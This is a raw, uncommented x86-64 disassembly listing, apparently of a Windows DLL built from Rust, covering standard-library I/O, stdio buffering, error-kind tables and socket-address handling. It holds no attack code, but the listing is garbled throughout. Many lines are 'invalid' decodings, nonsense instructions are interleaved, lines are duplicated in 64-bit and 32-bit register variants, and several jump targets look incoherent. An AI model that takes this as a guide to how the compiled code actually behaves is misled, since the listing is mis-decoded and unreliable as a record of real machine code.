test byte [rsi + 0x66], ah
nop word cs:[rax + rax]
add byte [rax], al
jmp 0x18004be66
add byte [rax], al
mov byte [rdi + 0x39], 0
xor eax, eax
cmp r15d, 3
cmp edi, 3
cmp edi, 3
jb 0x18004be66
invalid
cmp r15d, 5
je 0x18004be66
cmp r15d, 6
cmp edi, 6
jne case.0x18004ba21.12
add byte [rbp - 0x7b], cl
test r14, r14
div byte [rbx + rbp + 0x48]
mov eax, dword [rbp + 0x18]
je 0x18004bf44
mov rax, qword [rbp + 0x18]
movzx ecx, byte [rax]
cmp r14, 1
inc byte [rcx]
inc byte [rcx]
je 0x18004bf4e
cmp cl, 0x2e
jne 0x18004bf4e
stc
jne 0x18004bf4e
mov rax, qword [rbp + 0x18]
movzx eax, byte [rax + 1]
add dword [rbx + 0x2b742ff8], eax
cmp eax, 0x2f
je 0x18004bf63
cmp eax, 0x5c
je 0x18004bf63
xor eax, eax
jmp 0x18004be66
invalid
inc dword [rbp + 0x31]
xor r14d, r14d
xor eax, eax
jmp 0x18004be66
div byte [rcx]
shr cl, 0x18
invalid
xor eax, eax
cmp r14, 1
inc byte [rcx]
jne 0x18004be66
cmp cl, 0x2e
jne 0x18004be66
add edi, edi
invalid
invalid
add edi, edi
invalid
dec dword [rax - 0x7d]
jmp 0x18004bf68
sub rbx, 1
sub ebx, 1
jb 0x18004c087
invalid
mov qword [rdi + 8], rbx
mov dword [rdi + 8], ebx
mov byte [rsi], 7
jmp 0x18004c04d
add byte [rax], al
movzx eax, al
test eax, eax
rol byte [rbp + 0x441d75c0], 0x89
clc
jne 0x18004bf9d
mov eax, r15d
lea rcx, [0x18008344c]
or eax, 0x374c2
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
loopne 0x18004bfdc
mov rax, qword [rdi + 0x20]
mov eax, dword [rdi + 0x20]
add rax, 4
jmp 0x18004c011
add al, 0xeb
je 0x18004bf64
mov byte [rdi + 0x39], 0
cmp dword [r8], r8d
sub rbx, 1
jb 0x18004c076
invalid
retf
add byte [rax], al
invalid
invalid
mov qword [rdi + 8], rbx
or dh, al
invalid
mov byte [rsi], 6
jmp 0x18004c04d
invalid
add byte [rax + 0x45280f06], cl
loopne 0x18004bfcd
invalid
mov byte [rsi], al
movaps xmm0, xmmword [rbp - 0x20]
movaps xmm1, xmmword [rbp - 0x10]
sub byte [rbp - 0x10], cl
movaps xmm2, xmmword [rbp]
movups xmmword [rsi + 1], xmm0
push rbp
add byte [rdi], cl
adc dword [rsi + 1], eax
movups xmmword [rsi + 0x11], xmm1
adc dword [rsi + 0x11], ecx
adc qword [rdi], r9
movups xmmword [rsi + 0x21], xmm2
adc dword [rsi + 0x21], edx
mov rax, qword [rbp + 0xf]
mov qword [rsi + 0x30], rax
invalid
xor bl, ch
jmp 0x18004c04d
jb case.0x18004b336.54
mov rax, qword [rdi + 0x20]
mov eax, dword [rdi + 0x20]
mov rcx, qword [rdi + 0x30]
mov ecx, dword [rdi + 0x30]
lea rdx, [rcx + 1]
test rcx, rcx
add dword [rax - 0x7b], ecx
leave
cmove rdx, rcx
add rax, rdx
add rax, 8
ror byte [rax], 0xeb
invalid
ror byte [rax], 0xeb
or bl, ch
sbb cl, byte [rax - 0x75]
and byte [r8 - 0x75], r9b
mov rcx, qword [rdi + 0x30]
invalid
invalid
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x30]
mov ecx, dword [rdi + 0x30]
xor byte [rax - 0x73], cl
lea rdx, [rcx + 1]
test rcx, rcx
push rcx
add dword [rax - 0x7b], ecx
leave
cmove rdx, rcx
add rax, rdx
add rax, 2
add eax, 2
add eax, 2
rol byte [rdx], 0x48
test eax, eax
add cl, byte [rax - 0x7b]
sal byte [rax + rsi - 0x3a], 0x47
cmp dword [r11], r8d
test rax, rax
je 0x18004c046
mov byte [rdi + 0x39], 3
cmp dword [r11], r8d
movzx eax, byte [rbp + 0x27]
mov byte [rsi], al
movups xmm0, xmmword [rdi + 0x11]
movups xmm1, xmmword [rdi + 0x21]
adc byte [rdi + 0x21], cl
and qword [r15], r9
adc dword [rsi + 1], eax
invalid
movups xmmword [rsi + 1], xmm0
add dword [rdi], ecx
adc dword [rsi + 0x11], ecx
invalid
invalid
movups xmmword [rsi + 0x11], xmm1
adc qword [rax - 0x75], r9
xor byte [r8 - 0x77], r9b
and byte [rax - 0x75], r9b
sbb byte [r8 - 0x77], r9b
sub byte [rax - 0x77], r9b
sub byte [rax - 0x77], cl
mov rax, qword [rdi + 0x30]
mov qword [rsi + 0x20], rax
mov rax, qword [rbp + 0x18]
mov qword [rsi + 0x28], rax
invalid
sub byte [rax - 0x77], cl
mov qword [rsi + 0x30], rbx
mov dword [rsi + 0x30], ebx
pop rsi
xor bl, ch
invalid
jmp 0x18004c04d
mov byte [rdi + 0x39], 3
cmp dword [r11], r8d
cmp dword [rbx], eax
mov byte [rsi], 0xa
invalid
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
pop rdi
pop rbp
ret
mov rcx, rbx
invalid
mov rbx, r14
lea r8, str.library_std_srcpath.rs
add eax, dword [rax]
mov rdx, rbx
call fcn.180069810
invalid
invalid
add byte [rbp + rcx*4 + 5], cl
sbb edx, dword [rcx]
add eax, dword [rax]
lea r8, str.library_std_srcpath.rs
lea eax, [0x18007d198]
add eax, 0x3111b
add byte [rax - 0x77], cl
mov rcx, rbx
xor edx, edx
call fcn.180069810
fnstenv [rcx]
shr al, cl
mov edi, edx
add dword [rax], eax
lea r8, str.library_std_srcpath.rs
lea eax, [0x18007d180]
jmp 0x18004c07d
push rbp
push rsi
push rdi
sub rsp, 0xc0
add byte [rax], al
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
add byte [rax], al
lea rbp, [rsp + 0x80]
mov rsi, rdx
invalid
mov rdi, rcx
mov edi, ecx
invalid
mov edi, ecx
lea rcx, [rbp + 0x18]
sbb byte [r8 - 0x77], r9b
sbb byte [rax - 0x77], cl
mov rdx, rdi
mov edx, edi
cli
mov r8, rsi
call fcn.180047840
mov dword [rdi - 0x49f00001], esi
push rbp
sbb byte [rax - 0x75], cl
sub byte [r8 - 0x75], r9b
mov eax, dword [rbp + 0x38]
mov dword [rdi - 0x49f00001], esi
push rbp
sbb byte [rax - 0x75], cl
sub byte [r8 - 0x75], r9b
invalid
sub byte [rax - 0x75], cl
mov eax, dword [rbp + 0x38]
cmp byte [r13 + rcx*4 + 5], r9b
cmp byte [rbp + rcx*4 + 5], cl
lea r8, [0x180083468]
lea eax, [0x180083468]
sahf
jae 0x18004c0cc
add byte [rbp + 0x63], cl
movsxd r9, dword [r8 + rdx*4]
or al, 0x90
add r9, r8
mov rdx, rsi
mov r8, rdi
jmp r9
jmp rcx
add rcx, 4
add ecx, 4
rol dword [rbx + rbp*8], 0x34
jmp case.0x1800477d8.182
xor al, 0x48
lea edx, [rax + 1]
lea rdx, [rax + 1]
test rax, rax
test eax, eax
cmove rdx, rax
add rcx, rdx
add ecx, edx
add rcx, 8
jmp case.0x1800477d8.182
and byte [rcx + 6], bh
mov ecx, 6
add bl, ch
sbb dword [rax - 0x73], ecx
lea rdx, [rax + 1]
test rax, rax
ror byte [rax + 0xf], 0x44
ror byte [rax + 1], 1
jmp case.0x1800477d8.182
lea rdx, [rax + 1]
test rax, rax
ror byte [rax + 0xf], 0x44
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
invalid
invalid
ror dword [rax - 0x7d], 1
rol dword [rdx], 0xeb
add ch, bl
add ecx, 2
add ch, bl
jmp case.0x1800477d8.182
add eax, 0x2b9
add byte [rax - 0x77], cl
mov rdx, rsi
sub rdx, rcx
mov ecx, 2
mov rdx, rsi
sub rdx, rcx
jb 0x18004c1ad
invalid
add rcx, rdi
mov r8, rcx
mov eax, ecx
mov eax, ecx
test rdx, rdx
je 0x18004c13d
invalid
adc al, byte [rcx + 0xf]
mov dh, 0
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
sar dword [rsp + rbx*2], 0xf
xchg esp, eax
ror byte [rax], 0xc8
sar dword [rsp + rbx*2], 0xf
xchg esp, eax
ror byte [rax], 0xc8
jmp 0x18004c13f
xor eax, eax
mov qword [rbp - 0x28], rdi
mov dword [rbp - 0x28], edi
jge 0x18004c11b
mov qword [rbp - 0x20], rsi
movups xmm0, xmmword [rbp + 0x18]
loopne 0x18004c157
adc byte [rbp + 0x18], al
movups xmm1, xmmword [rbp + 0x28]
sub byte [r15], r9b
adc dword [rbp - 0x18], eax
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm1
mov rcx, qword [rbp + 0x38]
mov qword [rbp + 8], rcx
invalid
invalid
mov byte [rbp + 0x12], al
or byte [r8 - 0x3899edbb], r9b
adc byte [r8], r8b
add cl, byte [rax - 0x73]
movabs al, byte [0xfffbdbe8d8558d48]
invalid
invalid
sti
invalid
mov word [rbp + 0x10], 0x200
lea rcx, [rbp - 0x60]
lea rdx, [rbp - 0x28]
movabs al, byte [0xfffbdbe8d8558d48]
call fcn.18004bd50
movzx ecx, byte [rbp - 0x60]
mov dh, 0x4d
invalid
dec dword [rdi]
mov dh, 0x4d
movabs al, byte [0xebc03104750af980]
cmp cl, 0xa
jne 0x18004c182
xor eax, eax
invalid
cmp cl, 0xa
jne 0x18004c182
xor eax, eax
shr bl, 0x1f
jmp 0x18004c1a1
invalid
add cl, 0xfa
xor eax, eax
cmp cl, 3
ja 0x18004c180
movzx ecx, cl
mov dh, 0xc9
dec rcx
cmp rcx, 3
jae 0x18004c1a1
add esi, dword [rbx + 9]
lea rcx, [rbp - 0x28]
call case.0x180045d94.433
fsubr st(0)
invalid
nop
add rsp, 0xc0
invalid
add byte [rdi + 0x5e], bl
pop rdi
pop rsi
pop rbp
ret
lea r8, str.library_std_srcpath.rs
lea eax, [0x18007d070]
mov esp, 0x4800030e
mov edx, esi
mov rdx, rsi
call fcn.180069790
int3
lea rbp, [rsp + 0x40]
lea rbp, [rsp + 0x40]
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rbp - 0x18], rcx
mov dword [rbp - 0x18], ecx
mov dword [rbp - 0x18], ecx
mov qword [rbp - 0x10], rdx
call qword [rdx]
mov rax, qword [rbp - 0x10]
cmp qword [rax + 8], 0
cmp dword [rax + 8], 0
cmp dword [rax + 8], 0
js 0x18004c1ec
add byte [rdx + rdx + 0x48], dh
mov edx, dword [rax + 0x10]
je 0x18004c1f9
mov rdx, qword [rax + 0x10]
mov rcx, qword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
add rsp, 0x40
pop rbp
jmp fcn.18001b8e0
nop
add rsp, 0x40
invalid
pop rbp
pop rbp
ret
sub esp, 0x20
lea rbp, [rdx + 0x40]
lea ebp, [rdx + 0x40]
mov rax, qword [rbp - 0x10]
cmp qword [rax + 8], 0
or byte [rax], al
je case.0x18004bf91.14
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax + 0x10]
mov rcx, qword [rbp - 0x18]
call fcn.18001b8e0
idiv ah
invalid
invalid
idiv ah
cld
call qword [rax + 0x20c48348]
nop
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rbp
ret
int3
int3
sub rsp, 0x20
in al, dx
and byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x20
lea rbp, [rsp + 0x20]
lea ebp, [rsp + 0x20]
mov rcx, qword [rcx]
mov eax, ecx
and eax, 3
lea rdx, [0x180083484]
movsxd rax, dword [rdx + rax*4]
invalid
add rax, rdx
jmp rax
mov rax, qword [rcx]
mov rdx, qword [rcx + 8]
jmp 0x18004c2a3
shr rcx, 0x20
call fcn.1800460e0
movzx ecx, al
jmp 0x18004c27d
invalid
add al, 0x48
shr ecx, 0x20
shr rcx, 0x20
lea rax, [0x18007edb8]
mov rdx, qword [rax + rcx*8]
mov edx, dword [rax + rcx*8]
mov edx, dword [rax + rcx*8]
lea rax, str.entity_not_foundpermission_deniedconnection_refusedconnection_resethost_unreachablenetwork_unreachableconnection_abortednot_connectedaddress_in_useaddress_not_availablenetwork_downbroken_pipeentity_already_existsoperation_would_blocknot_a_directoryis_a_directorydirectory_not_emptyread_only_filesystem_or_storage_mediumfilesystem_loop_or_indirection_limit__e.g._symlink_loop_stale_network_file_handleinvalid_input_parameterinvalid_datatimed_outwrite_zerono_storage_spaceseek_on_unseekable_filefilesystem_quota_exceededfile_too_largeresource_busyexecutable_file_busydeadlockcross_device_link_or_renametoo_many_linksinvalid_filenameargument_list_too_longoperation_interruptedunsupportedunexpected_end_of_fileout_of_memoryother_erroruncategorized_errorOs
mov rax, qword [rax + rcx*8]
mov eax, dword [rax + rcx*8]
jmp 0x18004c2a3
invalid
mov rax, qword [rcx - 1]
mov rdx, qword [rcx + 7]
mov rcx, rax
call qword [rdx + 0x40]
dec dword [rax - 0x75]
push rcx
invalid
push rdx
nop
nop
add rsp, 0x20
pop rbp
ret
int3
int3
and byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x20
lea rbp, [rsp + 0x20]
mov r8, qword [rcx]
mov ecx, r8d
and ecx, 3
xor eax, eax
ror byte [rax - 0x73], 0x51
dec byte [rax - 0x7d]
cli
add dh, byte [rbx + 2]
ror byte [rax - 0x73], 0x51
dec byte [rax - 0x7d]
cli
add dh, byte [rbx + 2]
jmp 0x18004c2e1
adc byte [rax - 0x7b], cl
leave
test rcx, rcx
je 0x18004c2e1
mov rcx, qword [r8 - 1]
mov rax, qword [r8 + 7]
call qword [rax + 0x48]
push rax
invalid
push rax
nop
nop
add rsp, 0x20
pop rbp
ret
invalid
int3
int3
and byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x20
mov r8, qword [rcx]
add dword [rcx + rcx*4 - 0x3f], eax
add dword [rcx + rcx*4 - 0x3f], eax
and ecx, 3
xor eax, eax
lea rdx, [rcx - 2]
invalid
cmp rdx, 2
jae 0x18004c311
jmp 0x18004c321
adc byte [rax - 0x7b], cl
leave
test rcx, rcx
je 0x18004c321
mov rcx, qword [r8 - 1]
mov rax, qword [r8 + 7]
invalid
invalid
call qword [rax + 0x30]
invalid
nop
add rsp, 0x20
pop rbp
ret
int3
int3
push rdi
xor byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
test eax, eax
movabs byte [0x8948c6894c000000], al
mov edi, edx
xlatb
retf
jno case.0x18004bf91.18
add bl, ch
sbb cl, byte [rdi]
invalid
invalid
nop dword [rax]
add byte [rax], al
add byte [rax], al
cmp byte [rdx + 0xf], 0x23
jne 0x18004c3f0
mov rcx, r14
call fcn.180043db0
invalid
dec dword [rax - 0x7b]
invalid
je 0x18004c3ee
invalid
div byte [rbx + rbp*2 - 0x47]
cmc
invalid
fld1
retf 0xff7d
invalid
invalid
invalid
loopne 0x18004c332
jp case.0x18004c0d7.13
and esi, dword [rdi + rdi*4 - 0x15]
invalid
cmp eax, 0x48f08948
sub eax, edx
invalid
cmp cl, byte [rax + 1]
xlatb
mov rax, rdx
shr rax, 0x20
cmp eax, 0x23
clc
invalid
je 0x18004c376
clc
and esi, dword [rdx + rcx*4 - 0x15]
add dh, byte [rcx]
ror byte [rax - 0x77], cl
ror byte [rax - 0x7d], 1
invalid
jmp 0x18004c3f0
pop rdi
bnd call fcn.180069790
add ah, cl
int3
int3
push 0x246c8d48
lea rbp, [rsp + 0x60]
test r8, r8
je 0x18004c5c6
invalid
mov r12, r8
mov rdi, rdx
mov rbx, rcx
mov rax, r8
mov eax, eax
mov eax, eax
shl rax, 4
shl eax, 4
xor edx, edx
xor ecx, ecx
nop word cs:[rax + rax]
cmp dword [rdi + rdx], 0
jne 0x18004c472
inc rcx
inc ecx
add rdx, 0x10
cmp rax, rdx
jne 0x18004c460
cmp r12, rcx
jb 0x18004c5e5
sub r12, rcx
je 0x18004c5c6
add dword [rax], eax
invalid
test byte [rdx + 1], al
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x3f], cl
loope case.0x18004b2bd.81
shl rcx, 4
add rdi, rcx
lea r14, [rbp]
lea esi, [rbp]
lea esi, [rbp]
lea r15, [0x180081690]
lea r13, [0x1800834a4]
add eax, dword [rax]
add eax, dword [rax]
add bl, ch
sbb al, 0x90
cmp byte [rdx + 0xf], 0x23
jne 0x18004c5c8
jmp 0x18004c4bb
add byte [rax], al
mov rcx, r14
call fcn.180043db0
js 0x18004c4b0
invalid
js 0x18004c4b0
invalid
dec dword [rbp - 0x7b]
in al, 0xf
test byte [rbx], cl
test r12, r12
je 0x18004c5c6
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
lea rax, [rdi - 0x10]
lea eax, [rdi - 0x10]
mov rsi, r12
shl rsi, 4
mov rcx, rsi
mov ecx, esi
mov ecx, esi
nop dword [rax]
test rcx, rcx
je 0x18004c4f0
mov r8d, dword [rax + 0x10]
add rax, 0x10
add rcx, 0xfffffffffffffff0
adc byte [rax - 0x7d], cl
rcl byte [rax], 0x48
add ecx, 0xfffffff0
test r8, r8
je 0x18004c4d0
sal byte [rdx + rbp*8 + 0x48], 0x8b
push rax
or bl, ch
or cl, byte [rdi]
invalid
invalid
mov rdx, qword [rax + 8]
jmp 0x18004c4f6
nop dword [rax]
xor r8d, r8d
mov rdx, r15
mov edx, edi
mov edx, edi
mov ecx, 0xfffffff4
mov r9, rbx
call fcn.180044160
pop rbp
jl 0x18004c501
dec dword [rax - 0x77]
clc
pop rbp
jl 0x18004c501
invalid
dec dword [rax - 0x77]
clc
mov qword [rbp], rdx
test rax, rax
je 0x18004c530
mov eax, edx
and eax, 3
movsxd rax, dword [r13 + rax*4]
test dword [rax], eax
test dword [rax], eax
add rax, r13
jmp rax
add byte [rax], al
nop word [rax + rax]
test rdx, rdx
je 0x18004c5dc
invalid
invalid
add byte [rax], al
invalid
test byte [rbx + 0x45000000], ah
xor eax, eax
xor r8d, r8d
xor ecx, ecx
mov rax, rdx
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov r9d, dword [rdi + r8]
sub rax, r9
jb 0x18004c582
invalid
sub dword [rax - 1], ecx
ror dword [rcx - 0x7d], 0xc0
adc byte [rax - 0x77], cl
ret 0x394c
inc rcx
add r8, 0x10
mov rdx, rax
cmp rsi, r8
jne case.0x18004c260.11
jmp 0x18004c585
mov rax, rdx
shr rax, 0x20
cmp eax, 0x23
je 0x18004c4aa
jmp 0x18004c5c8
mov rax, rdx
cmp r12, rcx
jb 0x18004c5e5
mov rdx, rcx
shl rdx, 4
add rdi, rdx
sub r12, rcx
jne 0x18004c5a7
retf 0xc148
test rax, rax
je 0x18004c4b2
jmp 0x18004c629
mov ecx, dword [rdi]
cmp rax, rcx
ja 0x18004c5f4
cmovs edi, dword [rcx]
enter 0x4677, 0x29
ror dword [rcx + 0x4701480f], 8
sub ecx, eax
mov dword [rdi], ecx
add qword [rdi + 8], rax
cmp qword [rbp - 8], 0
jne 0x18004c4aa
test ecx, ebp
invalid
invalid
invalid
test ecx, ebp
invalid
jmp 0x18004c4b2
xor edx, edx
mov rax, rdx
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
lea rdx, str.failed_to_write_whole_buffer
jmp 0x18004c5c8
lea r8, [0x18007ce80]
mov rdx, r12
add byte [rcx + rcx*4 - 0x1e], cl
call fcn.180069790
lea rax, str.advancing_IoSlice_beyond_its_length
mov qword [rbp - 0x38], rax
enter 0xffffffffffffc748, 0x45
rol byte [rcx], 1
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x35082
enter 0xffffffffffffc748, 0x45
rol byte [rcx], 1
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x35082
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rdx, str.library_std_src_syspalwindowsio.rs
lea rcx, [rbp - 0x38]
enter 0x27e8, 0xffffffffffffffd1
add dword [rax], eax
invalid
enter 0x27e8, 0xffffffffffffffd1
add dword [rax], eax
invalid
add byte [rax - 0x73], cl
add eax, 0x30890
lea rax, str.advancing_io_slices_beyond_their_length
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, [0x180081690]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rdx, [0x18007ced0]
lea rcx, [rbp - 0x38]
enter 0xfffffffffffff2e8, 0xffffffffffffffd0
add dword [rax], eax
enter 0xfffffffffffff2e8, 0xffffffffffffffd0
add dword [rax], eax
int3
and byte [rax - 0x75], cl
add dword [rax - 0x75], ecx
xor byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
div byte [rsp + rbx*2 + 0xf]
mov dh, 5
jl 0x18004c66e
mov rsi, qword [rax]
mov qword [rax], 0
test rsi, rsi
je 0x18004c6d9
movzx eax, byte [0x18008b300]
add eax, dword [rax]
mov edx, 0x400
xor ecx, ecx
call fcn.180059d10
test rax, rax
je 0x18004c6e5
mov qword [rsi], 0
mov dword [rsi + 8], 0
mov byte [rsi + 0xc], 0
mov qword [rsi + 0x10], 0
mov qword [rsi + 0x18], 0x400
mov qword [rsi + 0x20], rax
mov qword [rsi + 0x28], 0
mov byte [rsi + 0x30], 0
mov byte [rsi + 0x35], 0
mov dword [rsi + 0x31], 0
add rsp, 0x28
pop rsi
pop rbp
ret
lea rcx, str.library_std_src_synconce.rs
call fcn.180069bb0
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov edx, 0x400
call fcn.180069600
add al, 0
add al, ch
or al, 0xcf
add dword [rax], eax
int3
int3
int3
push rsi
push rdi
push rbx
sub rsp, 0x60
lea rbp, [rsp + 0x60]
insb byte [rdi], dx
and al, 0x60
insb byte [rdi], dx
and al, 0x60
mov qword [rbp - 8], 0xfffffffffffffffe
invalid
cmp qword [rcx + 0x10], 0
jne case.0x18002b117.934
mov rsi, r8
mov rdi, rdx
xlatb
xlatb
mov qword [rbp - 0x10], rcx
mov qword [rcx + 0x10], 0xffffffffffffffff
mov cl, 0xa
call fcn.1800288f0
dec dword [rbx + rcx*4 + 0x65]
invalid
lea rbx, [r12 + 0x18]
test rax, rax
je 0x18004c795
invalid
dec dword [rbx + rcx*4 + 0x65]
invalid
mov r14, rdx
inc r14
sub rsi, r14
jb 0x18004c8cf
mov r15, qword [r12 + 0x28]
test r15, r15
je 0x18004c7d3
mov rax, qword [rbx]
sub rax, r15
cmp rax, r14
jbe 0x18004c823
mov rcx, qword [r12 + 0x20]
add rcx, r15
mov rdx, rdi
mov r8, r14
call fcn.180068d66
add r15, r14
mov qword [r12 + 0x28], r15
jmp 0x18004c83a
mov r14, qword [r12 + 0x28]
test r14, r14
je 0x18004c870
mov rax, qword [r12 + 0x20]
cmp byte [r14 + rax - 1], 0xa
jne 0x18004c873
mov rcx, rbx
call fcn.180045300
test rax, rax
mov r12, qword [rbp - 0x10]
jne 0x18004c8af
mov r14, qword [r12 + 0x28]
jmp 0x18004c873
lea rcx, [r12 + 0x31]
mov rdx, rdi
mov r8, r14
call case.0x1800484d2.147
mov qword [rbp - 0x40], rax
test rax, rax
je 0x18004c81d
mov ecx, eax
and ecx, 3
cmp rcx, 2
jb 0x18004c8ab
cmp ecx, 2
jne 0x18004c8ab
mov rcx, rax
shr rcx, 0x20
cmp ecx, 6
jne 0x18004c8ab
lea rcx, [rbp - 0x40]
call fcn.180043db0
mov r12, qword [rbp - 0x10]
jmp 0x18004c84b
mov rcx, rbx
mov rdx, rdi
mov r8, r14
call fcn.18006a810
test rax, rax
mov r12, qword [rbp - 0x10]
jne 0x18004c8af
mov rcx, rbx
call fcn.180045300
test rax, rax
mov r12, qword [rbp - 0x10]
jne 0x18004c8af
add rdi, r14
mov rax, qword [r12 + 0x18]
mov r14, qword [r12 + 0x28]
sub rax, r14
cmp rax, rsi
ja 0x18004c87e
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call fcn.18006a810
jmp 0x18004c8ab
xor r14d, r14d
mov rax, qword [rbx]
sub rax, r14
cmp rax, rsi
jbe 0x18004c89d
mov rcx, qword [r12 + 0x20]
add rcx, r14
and byte [rcx + rax - 0xf], cl
mov rdx, rdi
cli
mov r8, rsi
call fcn.180068d66
add r14, rsi
add esi, esi
add esi, esi
mov qword [r12 + 0x28], r14
xor eax, eax
jmp 0x18004c8af
invalid
sub byte [rcx], dh
shr bl, 0x12
invalid
adc cl, byte [rax - 0x77]
invalid
mov rcx, rbx
mov rdx, rdi
cli
cli
mov r8, rsi
call fcn.18006a810
fild word [rcx]
invalid
fild word [rcx]
add byte [rbx + rcx*4 + 0x65], cl
mov esp, dword [rbp - 0x10]
inc qword [r12 + 0x10]
mov r12, qword [rbp - 0x10]
mov esp, dword [rbp - 0x10]
inc qword [r12 + 0x10]
adc byte [rax - 0x7d], cl
invalid
add rsp, 0x60
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
invalid
pop rsp
pop r14
pop r15
pop rbp
ret
lea rcx, str.library_std_srcio_stdio.rs
add eax, 0x91e80003
rol dword [rcx], 1
add byte [rax - 0x73], cl
add eax, 0x2f352
push rdx
add al, byte [rax]
call fcn.180069a60
lea rax, str.mid___len
push rdx
add al, byte [rax]
mov qword [rbp - 0x40], rax
mov dword [rbp - 0x40], eax
ror byte [r8 - 0x39], 0x45
enter 1, 0
add byte [rax - 0x73], cl
add eax, 0x34da7
mov qword [rbp - 0x38], 1
lea rax, [0x180081690]
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x30], eax
ror byte [rdi], 1
push rdi
ror byte [rdi], 0x11
fmul dword [r8 - 0x73]
fmul dword [rax - 0x73]
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
fmul dword [rax - 0x73]
adc eax, 0x300a5
fmul dword [rax - 0x73]
adc eax, 0x300a5
lea rcx, [rbp - 0x40]
call fcn.180069750
ud2
nop dword cs:[rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x60]
mov rax, qword [rbp - 0x10]
inc qword [rax + 0x10]
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
cmp rcx, 0x1b
jbe 0x18004d4bb
invalid
stosd dword [rdi], eax
add byte [rax], al
invalid
stosd dword [rdi], eax
add byte [rax], al
add byte [rdi], cl
movzx ecx, word [rax + 2]
rol cx, 8
mov edx, dword [rax + 4]
mov r8d, dword [rax + 0x18]
mov bh, 0x48
add ah, byte [rsi - 0x3f]
ror dword [rax], 0x8b
push rax
add al, 0x44
mov eax, dword [rax + 0x18]
movups xmm0, xmmword [rax + 8]
adc byte [rax + 8], al
or byte [rcx + 0xf], al
adc dword [rdi], eax
movups xmmword [r15], xmm0
mov word [rbp - 0x18], 1
movzx eax, word [rbp - 0x1a]
mov word [r14 + 0x10], ax
mov dword [r14 + 0x10], eax
mov dword [rbp - 0x18], 0xb70f0001
out 0x66, al
mov dword [r14 + 0x10], eax
movups xmm0, xmmword [rbp - 0x2a]
movups xmmword [r14], xmm0
adc dword [rsi], eax
movups xmmword [rsi], xmm0
adc dword [rsi], eax
mov dword [rbp - 4], edx
mov dword [rbp], r8d
add byte [r14 - 0x77], r12b
invalid
invalid
add byte [r14 - 0x77], r12b
add byte [rsi - 0x77], ah
add al, 0xf
mov bh, 0x45
call 0x18fef21dc
mov bh, 0x55
out dx, al
movzx eax, word [rbp - 0x18]
mov ecx, dword [rbp - 0x16]
movzx edx, word [rbp - 0x12]
invalid
mov r8, qword [rbp - 0x10]
invalid
mov r9d, dword [rbp - 8]
mov dword [rsi + 0x10], r9d
adc byte [rbx + rcx*4 + 0x4d], al
cld
adc byte [rbx + rcx*4 + 0x4d], al
cld
mov dword [rsi + 0x14], r9d
mov r9d, dword [rbp]
add byte [r9 + rcx*4 + 0x4e], r8b
sbb byte [rdi + rcx - 0x49], al
add al, 0x66
mov dword [rsi + 0x1c], r9d
add byte [r9 + rcx*4 + 0x4e], r8b
sbb byte [rdi + rcx - 0x49], al
add al, 0x66
mov dword [rsi + 0x1c], r9d
movzx r9d, word [rbp + 6]
mov word [rsi + 0x1e], r9w
mov word [rsi], ax
invalid
mov dword [rsi + 2], ecx
mov word [rsi + 6], dx
mov qword [rsi + 8], r8
mov dword [rsi + 8], eax
invalid
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
xchg edi, eax
invalid
add eax, 0x316cf
mov edx, 0x39
call fcn.180069820
lea rcx, str.assertion_failed:_len___mem::size_of::_c::sockaddr_in6___
add eax, dword [rax]
lea r8, str.library_std_src_sys_common_net.rsassertion_failed:_len___mem::size_of::_c::sockaddr_in___
add eax, dword [rax]
mov edx, 0x3a
call fcn.180069820
int3
int3
int3
push rbp
push rsi
push rdi
sub rsp, 0x1f0
lea rbp, [rsp + 0x80]
add byte [rax], 0
add byte [rax - 0x75], cl
add dword [rax - 0x75], ecx
cmp byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], 0
add byte [rax - 0x75], cl
add dword [rax - 0x75], ecx
cmp byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
test rdi, rdi
je 0x18004d544
lea rsi, [rbp - 0x60]
add byte [rax], al
add byte [rax], al
test rdi, rdi
je 0x18004d544
lea rsi, [rbp - 0x60]
mov r8d, 0x198
mov rcx, rsi
mov ecx, esi
mov ecx, esi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov cx, 0x202
mov rdx, rsi
